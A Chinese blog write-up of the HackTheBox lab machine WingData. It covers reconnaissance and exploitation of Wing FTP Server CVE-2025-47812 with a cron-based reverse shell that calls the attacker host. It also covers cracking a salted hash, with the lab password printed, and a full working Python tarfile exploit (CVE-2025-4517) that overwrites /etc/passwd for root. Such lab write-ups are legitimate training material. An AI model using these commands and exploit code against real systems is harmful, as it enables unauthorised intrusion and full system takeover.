HTB靶机 WingData 渗透测试记录

misaka19008 发布于 23 小时前 9 次阅读



目标信息

IP地址:10.129.36.252(非固定IP地址)


信息收集

ICMP检测

PING 10.129.36.252 (10.129.36.252) 56(84) bytes of data.
64 bytes from 10.129.36.252: icmp_seq=1 ttl=63 time=262 ms
64 bytes from 10.129.36.252: icmp_seq=2 ttl=63 time=180 ms
64 bytes from 10.129.36.252: icmp_seq=3 ttl=63 time=203 ms
64 bytes from 10.129.36.252: icmp_seq=4 ttl=63 time=148 ms

--- 10.129.36.252 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 147.751/198.476/262.235/41.795 ms

攻击机和靶机间网络连接状态良好。

防火墙检测

# Nmap 7.98 scan initiated Mon Feb 16 08:54:50 2026 as: /usr/lib/nmap/nmap -sA -p- --min-rate 3000 -oN ack_result.txt 10.129.36.252
Nmap scan report for 10.129.36.252
Host is up (0.14s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE      SERVICE
22/tcp unfiltered ssh
80/tcp unfiltered http

# Nmap done at Mon Feb 16 08:55:35 2026 -- 1 IP address (1 host up) scanned in 44.72 seconds

靶机疑似开放2TCP端口。

网络端口扫描

TCP端口扫描结果

# Nmap 7.98 scan initiated Mon Feb 16 08:56:22 2026 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.36.252
Nmap scan report for 10.129.36.252
Host is up (0.15s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open  http    Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Did not follow redirect to http://wingdata.htb/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (97%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6.0
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   148.01 ms 10.10.14.1
2   148.01 ms 10.129.36.252

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 16 08:57:26 2026 -- 1 IP address (1 host up) scanned in 64.22 seconds

UDP端口开放列表扫描结果

# Nmap 7.98 scan initiated Mon Feb 16 08:59:49 2026 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.36.252
Nmap scan report for 10.129.36.252
Host is up (0.15s latency).
All 65535 scanned ports on 10.129.36.252 are in ignored states.
Not shown: 65535 open|filtered udp ports (no-response)

# Nmap done at Mon Feb 16 09:00:35 2026 -- 1 IP address (1 host up) scanned in 45.82 seconds

UDP端口详细信息扫描结果

(无)

同时发现靶机操作系统为Debian Linux,开放了22/ssh80/http两个服务,根据HackTheBox内容发布规则,靶机主域名为wingdata.htb


服务探测

SSH服务(22端口)

首先使用ssh连接靶机,确定其登录方式:

ssh root@wingdata.htb

Web应用程序(80端口)

在进行Web服务探测前,首先进行子域名爆破:

wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 70 -u 10.129.36.252 -H "Host: FUZZ.wingdata.htb" --hw 29 --hc 400

发现靶机Web服务存在子域名ftp.wingdata.htb

打开主页:http://wingdata.htb/

该站点似乎为某云盘厂商的介绍页面,右上角存在Client Portal按钮,点击后直接跳转到了http://ftp.wingdata.htb

发现站点部署了Wing FTP Server在线文件管理器,版本为v7.4.3。尝试联网搜索其漏洞:

GitHub - 4m3rr0r/CVE-2025-47812-poc: Wing FTP Server Remote Code Execution (RCE) Exploit (CVE-2025-47812)

成功发现该版本Wing FTP Server存在未授权远程命令执行漏洞,编号为CVE-2025-47812


渗透测试

CVE-2025-47812漏洞利用

在服务探测过程中,我们成功发现了靶机Wing FTP Server v7.4.3文件管理器存在未授权远程命令执行漏洞,现在进行利用。

直接将EXP克隆到本地:

git clone https://github.com/4m3rr0r/CVE-2025-47812-poc.git

随后尝试执行id命令:

python3 CVE-2025-47812-poc/CVE-2025-47812.py -u http://ftp.wingdata.htb -c "id"

执行成功!直接编写用于反弹Shell的计划任务配置脚本revshell_cron.txt

*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.2/443 0>&1'

随后打开SimpleHTTPServernetcat监听,通过EXP执行如下命令,下载配置并将其添加到靶机计划任务中:

python3 CVE-2025-47812-poc/CVE-2025-47812.py -u http://ftp.wingdata.htb -c "wget http://10.10.14.2/revshell_cron.txt -O /tmp/revshell_cron.txt"
python3 CVE-2025-47812-poc/CVE-2025-47812.py -u http://ftp.wingdata.htb -c "cat /tmp/revshell_cron.txt | crontab"

等待一会儿后,成功接收到反弹Shell


权限提升

破解Web文件管理器用户哈希

进入系统之后,执行目录信息收集。在/opt目录下发现了Wing FTP Server的主目录wftpserver

ls -lA /opt

进入wftpserver目录探查,发现存在疑似为用户数据目录的Data子目录:

cd /opt/wftpserver/Data
ls -lA

尝试列出子目录1中的文件:

ls -lA 1

发现存在users目录和settings.xml文件,首先查看users目录下文件:

发现用户配置文件!通过查看/home目录可得知,靶机操作系统中存在一个wacky用户,与Wing FTP Server中的用户重名。

查看wacky.xml文件:

cat wacky.xml

成功发现用户密码哈希:32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca,通过联网查询可得知,该串哈希值使用的算法为SHA-256,这意味着如果需要破解哈希,必须获取加密时设置的盐值。

尝试查看/opt/wftpserver/Data/1/settings.xml文件:

<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>

在文件中发现了盐值:WingFTP,直接使用hashcat破解:

/hashcat.exe -m 1410 -a 0 "32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP" ./rockyou.txt --force

成功发现操作系统用户凭据:

  • 用户名:wacky
  • 密码:!#7Blushing^*Bride5

直接使用ssh登录:

ssh wacky@wingdata.htb

成功获得User Flag!!

Python tarfile漏洞利用

登录wacky用户后,执行sudo -l命令获取当前用户Sudo权限:

发现当前用户可免密以root用户身份执行Python脚本/opt/backup_clients/restore_backup_clients.py,通读脚本代码:

#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
    if not re.fullmatch(r"^backup_d+.tar$", filename):
        return False
    client_id = filename.split('_')[1].rstrip('.tar')
    return client_id.isdigit() and client_id != "0"

def validate_restore_tag(tag):
    return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

def main():
    parser = argparse.ArgumentParser(
        description="Restore client configuration from a validated backup tarball.",
        epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
    )
    parser.add_argument(
        "-b", "--backup",
        required=True,
        help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
             "where <client_id> is a positive integer, e.g., backup_1001.tar)"
    )
    parser.add_argument(
        "-r", "--restore-dir",
        required=True,
        help="Staging directory name for the restore operation. "
             "Must follow the format: restore_<client_user> (e.g., restore_john). "
             "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
    )

    args = parser.parse_args()

    if not validate_backup_name(args.backup):
        print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
        sys.exit(1)

    backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
    if not os.path.isfile(backup_path):
        print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
        sys.exit(1)

    if not args.restore_dir.startswith("restore_"):
        print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
        sys.exit(1)

    tag = args.restore_dir[8:]
    if not tag:
        print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
        sys.exit(1)

    if not validate_restore_tag(tag):
        print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
        sys.exit(1)

    staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
    print(f"[+] Backup: {args.backup}")
    print(f"[+] Staging directory: {staging_dir}")

    os.makedirs(staging_dir, exist_ok=True)

    try:
        with tarfile.open(backup_path, "r") as tar:
            tar.extractall(path=staging_dir, filter="data")
        print(f"[+] Extraction completed in {staging_dir}")
    except (tarfile.TarError, OSError, Exception) as e:
        print(f"[!] Error during extraction: {e}", file=sys.stderr)
        sys.exit(2)

if __name__ == "__main__":
    main()

发现该脚本的功能为将提供的tar压缩文件解压到指定的目录下。脚本接收两个参数:-b-r,其中-b为压缩文件名,当脚本执行时,会检查压缩文件名是否符合backup_<数字>.tar的格式,如符合,会将文件名和固定的路径/opt/backup_clients/backups拼接,保存到backup_path变量中,并判断文件是否存在;-r为解压目录名,只允许包含数字、字母和下划线,且必须要以restore_开头,如目录名符合要求,脚本就会将其与固定路径/opt/backup_clients/restored_backups拼接,保存到staging_dir变量内;最后,程序使用tarfile库的extractall()方法解压压缩文件,但由于脚本调用extractall()方法时指定了filter="data"参数,我们无法直接添加带有../目录穿越符的文件进行利用。

尝试联网搜索Python tarfile库的漏洞,发现Python 3.12 及之后版本的tarfile库存在任意文件写入漏洞,编号为CVE-2025-4517,漏洞的核心原理在于往压缩包中添加超长的软链接名,使其长度达到PATH_MAX限制,这样当tarfile.extractall()方法调用os.path.realpath()检查时,软链接就不会被解析出来。链接为:Python - Tarfile Realpath Overflow Vulnerability · Advisory · google/security-research · GitHub

通过该漏洞,我们可以覆盖/etc/passwd文件,从而修改root用户密码。首先复制一份passwd文件,将root用户的密码位修改为我们想要的哈希值:

cp /etc/passwd evil_passwd
nano evil_passwd

随后适当改写利用脚本,使escape链接指向/etc目录,并基于其创建指向/etc/passwd的链接和文件对象:

import tarfile
import os
import io
import sys

comp = 'd' * (55 if sys.platform == 'darwin' else 247)
steps = "abcdefghijklmnop"
path = ""
evil_passwd = open("/home/wacky/evil_passwd", 'r').read().encode('utf-8')

with tarfile.open("/opt/backup_clients/backups/backup_1001.tar", mode="x") as tar:
    for i in steps:
        a = tarfile.TarInfo(os.path.join(path, comp))
        a.type = tarfile.DIRTYPE
        tar.addfile(a)
        b = tarfile.TarInfo(os.path.join(path, i))
        b.type = tarfile.SYMTYPE
        b.linkname = comp
        tar.addfile(b)
        path = os.path.join(path, comp)

    linkpath = os.path.join("/".join(steps), "l"*254)
    l = tarfile.TarInfo(linkpath)
    l.type = tarfile.SYMTYPE
    l.linkname = ("../" * len(steps))
    tar.addfile(l)

    e = tarfile.TarInfo("escape")
    e.type = tarfile.SYMTYPE
    e.linkname = linkpath + "/../../../../../../etc"
    tar.addfile(e)

    f = tarfile.TarInfo("passwd_link")
    f.type = tarfile.LNKTYPE
    f.linkname =  "escape/passwd"
    tar.addfile(f)

    c = tarfile.TarInfo("passwd_link")
    c.type = tarfile.REGTYPE
    c.size = len(evil_passwd)
    tar.addfile(c, fileobj=io.BytesIO(evil_passwd))

编写完毕后,调用python3命令执行:

python3 cve-2025-4512.py

接着使用sudo执行restore_backup_clients.py,解压恶意压缩包backup_1001.tar

sudo python3 /opt/backup_clients/restore_backup_clients.py -b backup_1001.tar -r restore_misaka19008

成功更改/etc/passwd文件!直接切换到root用户:

su -

提权成功!!!!


本次靶机渗透到此结束


此作者没有提供个人介绍。
最后更新于 2026-05-18